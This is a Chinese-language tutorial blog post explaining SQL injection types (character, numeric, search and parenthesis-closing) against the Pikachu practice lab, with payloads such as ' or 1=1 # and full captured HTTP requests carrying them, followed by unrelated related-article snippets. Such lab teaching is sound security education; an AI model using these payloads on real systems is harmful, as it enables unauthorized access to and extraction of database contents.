SQL注入漏洞之基础数据类型注入 字符 数字 搜索 XX 以及靶场实例哟

目录

基础数据类型SQL注入

字符类型注入

单引号双引号解释

案例练习: 

数字类型注入

案例

搜索性注入:

案例

XX性注入:

语句

案例

基础SQL注入类型分类


基础数据类型SQL注入

字符类型注入

'xxx' or 1=1 # 
select id,email from member where username=xx' or 1=1 #'
-----------------------------------转化成True 查询所有username 
select id,email from member where username= True #' 
-----------------------------------' 处于前面闭合状态 
-- # 注释得作用
select id,email form member where username = "vince" and 1=1 ''#
------------------------------------select id,email from member where username='vince or 1=1'#;
select id email from member where username = ‘vince’

单引号双引号解释

  • 这个语句的 vince or 1=1 '# 是直接被认作字符串

  • 我们在vince后面添加单引号来闭合vince

  • 再在1=1后面添加注释#来消除掉后面的单引号

  • #和--是mysql的sql语句注释符号

    • 这样来完成一个SQL语句的拼接合法性

      • 完整的语句为

    • select id,email from member where username='vince' or 1=1#';

我们回到pikachu平台输入 vince' or 1=1#

案例练习: 

这里说一下编码的问题

GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1

  • get请求有很多%XXX,这个是URL编码
    • 为什么get请求在URL地址上会有一些是URL编码了
    • 这个简单的说,就是避免输入的一些特殊字符与其它代码关键字起冲突,所以HTTP协议会将一些特殊字符转义成URL编码

  • 所以我们在做GET请求的类型的sql注入的时候是需要注意URL编码格式的

  • 至于这个格式如何转移?
    • 很简单的一个办法就是拿到在线编码格式转移工具转移一下就可以了。
    • 在线转移工具很多这个自己搜索在线编码工具就可以了有很多很多。

GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_str.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

数字类型注入

语句

mysql> select username,email from member where id=1;
mysql> select username,email from member where id=1 or 1=1;

案例

  • 这里可以看到我们在请求参数中修改 传入注入语句并没有修改成URL编码格式,就可以注入成功. 
  • 这是为什么了?
    • 么有为什么,因为URL编码仅限于get请求这个记住就可以了。
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.1.10
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_id.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, iid=1 or 1=1 #&submit=%E6%9F%A5%E8%AF%A2


搜索性注入:

  • 在说搜索类型注入之前,我们要只是到sql语句中like是干嘛的?
    • 也就是模糊匹配的作用
    • %在最字符串最前面那么就模糊匹配后面的字符串就可
    • 字符串没有% 那么就说明是全匹配对应字符串
    • 前后%% 这说明 匹配只要中间有那个字符串的字符至于字符串前后是啥不管 
    • %在字符串最后面,则说明匹配字符串不管最后是什么只要前面的字符串符合标准就可以了
Select id,email from member where username like ‘%vin’
Select id,email from member where username like ‘vin%’
Select id,email from member where username like ‘%vin%’
  • select username,id,email from member where username like '%%' or 1=1 #%'

    • 注意: 这里的 %' or 1=1 #%' 虽然单引号可以闭合 但是很多时候还是需要闭合%

      • 也就是搜索性要多注意%的闭合

  • %%闭合也就是为了查询到更多的数据

%xxxx%' or 1=1 #%'
 xxxx%' or 1=1 #%'

案例

GET /pikachu/vul/sqli/sqli_search.php?name=%25%27+or+1%3D1+%23&submit=%E6%90%9C%E7%B4%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_search.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i


XX性注入:

select * from member where username=('vince') ;
select * from member where username=('xx') or 1=1;
select id,email from member where username=('') or 1=1 #')

语句

') or 1=1 #')

  Xx注入 注意小括号的闭合状态

    以上就是基本的数据类型

    注入 数字 字符 搜索 xx 注入类型

案例

GET /pikachu/vul/sqli/sqli_x.php?name=%27%29+or+1%3D1+%23%27%29&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_x.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i


基础SQL注入类型分类

主要分为如下四类:

  • 数字型

  • 字符型

  • 搜索型

  • xx型

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/68017.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ESP32】ESP32连接JY61P并通过WIFI发送给电脑

前言 手头上有个ESP32&#xff0c;发现有wifi功能&#xff0c;希望连接JY61P并通过WIFI把姿态数据发送给电脑 1.采用Arduino IDE编译器&#xff1b;需要安装ESP32的开发板管理器&#xff1b; 2.电脑接受数据是基于python的&#xff1b; 1. ESP32 连接手机WIFI #include <…

如何在data.table中处理缺失值

&#x1f4ca;&#x1f4bb;【R语言进阶】轻松搞定缺失值&#xff0c;让数据清洗更高效&#xff01; &#x1f44b; 大家好呀&#xff01;今天我要和大家分享一个超实用的R语言技巧——如何在data.table中处理缺失值&#xff0c;并且提供了一个自定义函数calculate_missing_va…

NodeJs如何做API接口单元测试? --【elpis全栈项目】

NodeJs API接口单元测试 api单元测试需要用到的 assert&#xff1a;断言库 (还要一些断言库比如:Chai)supertest&#xff1a; 模拟http请求 简单的例子&#xff1a; const express require(express); const supertest require(supertest); const assert require(assert);…

计算机视觉算法实战——无人机检测

✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ ​ ​ 1. 引言✨✨ 随着无人机技术的快速发展&#xff0c;无人机在农业、物流、监控等领域的应用越来越广泛。然而&#xff0c;无人机的滥用也带…

Node.js HTTP模块详解:创建服务器、响应请求与客户端请求

Node.js HTTP模块详解&#xff1a;创建服务器、响应请求与客户端请求 Node.js 的 http 模块是 Node.js 核心模块之一&#xff0c;它允许你创建 HTTP 服务器和客户端。以下是一些关键知识点和代码示例&#xff1a; 1. 创建 HTTP 服务器 使用 http.createServer() 方法可以创建…

华为支付接入规范

为了确保用户获得良好的支付体验&#xff0c;Payment Kit制定了相关接入设计规范&#xff0c;请开发者遵照执行&#xff0c;具体要求&#xff08;非强制性&#xff09;如下&#xff1a; 一、支付方式呈现 涉及支付公司名称&#xff0c;请统一使用&#xff1a;花瓣支付&#xff…

C语言-----扫雷游戏

扫雷游戏的功能说明 &#xff1a; • 使⽤控制台实现经典的扫雷游戏 • 游戏可以通过菜单实现继续玩或者退出游戏 • 扫雷的棋盘是9*9的格⼦ • 默认随机布置10个雷 • 可以排查雷&#xff1a; ◦ 如果位置不是雷&#xff0c;就显⽰周围有⼏个雷 ◦ 如果位置是雷&#xff0c;就…

Python人脸识别库DeepFace使用教程及源码解析

目录 一、DeepFace介绍 1、人脸库设计 2、DeepFace.find 3、DeepFace.verify 4、DeepFace.analyze 5、DeepFace.extract_faces 6、DeepFace.represent 7、DeepFace.stream 二、DeepFace二次开发 1、开发活体检测API 2、模型权重持久化 三、总结 一、DeepFace介绍 …

Java多线程的面试面试题及答案解析

什么是进程&#xff1f;什么是线程&#xff1f;有什么区别&#xff1f; 进程是系统资源分配的基本单位&#xff0c;拥有独立的地址空间。线程是 CPU 调度和分派的基本单位&#xff0c;是比进程更小的独立执行的单位&#xff0c;共享所在进程的内存空间等资源。一个进程可以包含…

三分钟简单了解一些HTML的标签和语法_02

1.a标签演示 点击然后跳转 代码加入title 2.图片链接 3.锚点链接 点击就会跳转的当前位置 4.a标签小知识补充 该实例会跳转到顶,锚点链接则会跳转到相应的锚点 5. 结果:直接跳转到该页面的锚点处 6. 在 HTML 中&#xff0c;<tr>标签表示表格中的行&#xff08;TableRow&…

多选multiple下拉框el-select回显问题(只显示后端返回id)

首先保证v-model的值对应options数据源里面的id <el-form-item prop"subclass" label"分类" ><el-select v-model"formData.subclass" multiple placeholder"请选择" clearable :disabled"!!formData.id"><e…

2025年数学建模美赛:A题分析(1)Testing Time: The Constant Wear On Stairs

2025年数学建模美赛 A题分析&#xff08;1&#xff09;Testing Time: The Constant Wear On Stairs 2025年数学建模美赛 A题分析&#xff08;2&#xff09;楼梯磨损分析模型 2025年数学建模美赛 A题分析&#xff08;3&#xff09;楼梯使用方向偏好模型 2025年数学建模美赛 A题分…

Qt——引用第三方SDK lib库的使用方法

【系列专栏】:博主结合工作实践输出的,解决实际问题的专栏,朋友们看过来! 《项目案例分享》 《极客DIY开源分享》 《嵌入式通用开发实战》 《C++语言开发基础总结》 《从0到1学习嵌入式Linux开发》 《QT开发实战》 《Android开发实战》 《实用硬件方案设计》 《结构建模设…

Java 反射与动态代理:实践中的应用与陷阱

Java 反射与动态代理&#xff1a;实践中的应用与陷阱 在现代Java应用中&#xff0c;反射和动态代理提供了强大的灵活性&#xff0c;但它们也带来了性能和复杂度上的挑战。本文将深入探讨这些技术在实际项目中的应用&#xff0c;分析它们可能导致的陷阱&#xff0c;并提供详细的…

Linux(Centos 7.6)命令详解:wc

1.命令作用 打印文件的行数、单词数、字节数&#xff0c;如果指定了多个文件&#xff0c;还会打印以上三种数据的总和(Print newline, word, and byte counts for each FILE, and a total line if more than one FILE is specified) 2.命令语法 Usage: wc [OPTION]... [FIL…

skynet 源码阅读 -- 核心概念服务 skynet_context

本文从 Skynet 源码层面深入解读 服务&#xff08;Service&#xff09; 的创建流程。从最基础的概念出发&#xff0c;逐步深入 skynet_context_new 函数、相关数据结构&#xff08;skynet_context, skynet_module, message_queue 等&#xff09;&#xff0c;并通过流程图、结构…

超分辨率体积重建实现术前前列腺MRI和大病理切片组织病理学图像的3D配准

摘要: 磁共振成像(MRI)在前列腺癌诊断和治疗中的应用正在迅速增加。然而,在MRI上识别癌症的存在和范围仍然具有挑战性,导致即使是专家放射科医生在检测结果上也存在高度变异性。提高MRI上的癌症检测能力对于减少这种变异性并最大化MRI的临床效用至关重要。迄今为止,这种改…

TypeScript 基础使用和相关问题

tsconfig.json 配置文件 {"compilerOptions": {"target": "esnext","jsx": "preserve","jsxImportSource": "vue","lib": ["esnext", "dom"],"useDefineForClassF…

leetcode-分割等和子集

本题涉及到的是01背包问题&#xff0c;我将从两种解决背包问题的思路写出题解 给你一个 只包含正整数 的 非空 数组 nums 。请你判断是否可以将这个数组分割成两个子集&#xff0c;使得两个子集的元素和相等。 示例 1&#xff1a; 输入&#xff1a;nums [1,5,11,5] 输出&#…

企业级流程架构设计思路-基于价值链的流程架构

获取更多企业流程资料 纸上得来终觉浅&#xff0c;绝知此事要躬行 一.企业流程分级规则定义 1.流程分类分级的总体原则 2.完整的流程体系需要体现出流程的分类分级 03.通用的流程分级方法 04.流程分级的标准 二.企业流程架构设计原则 1.流程架构设计原则 流程框架是流程体…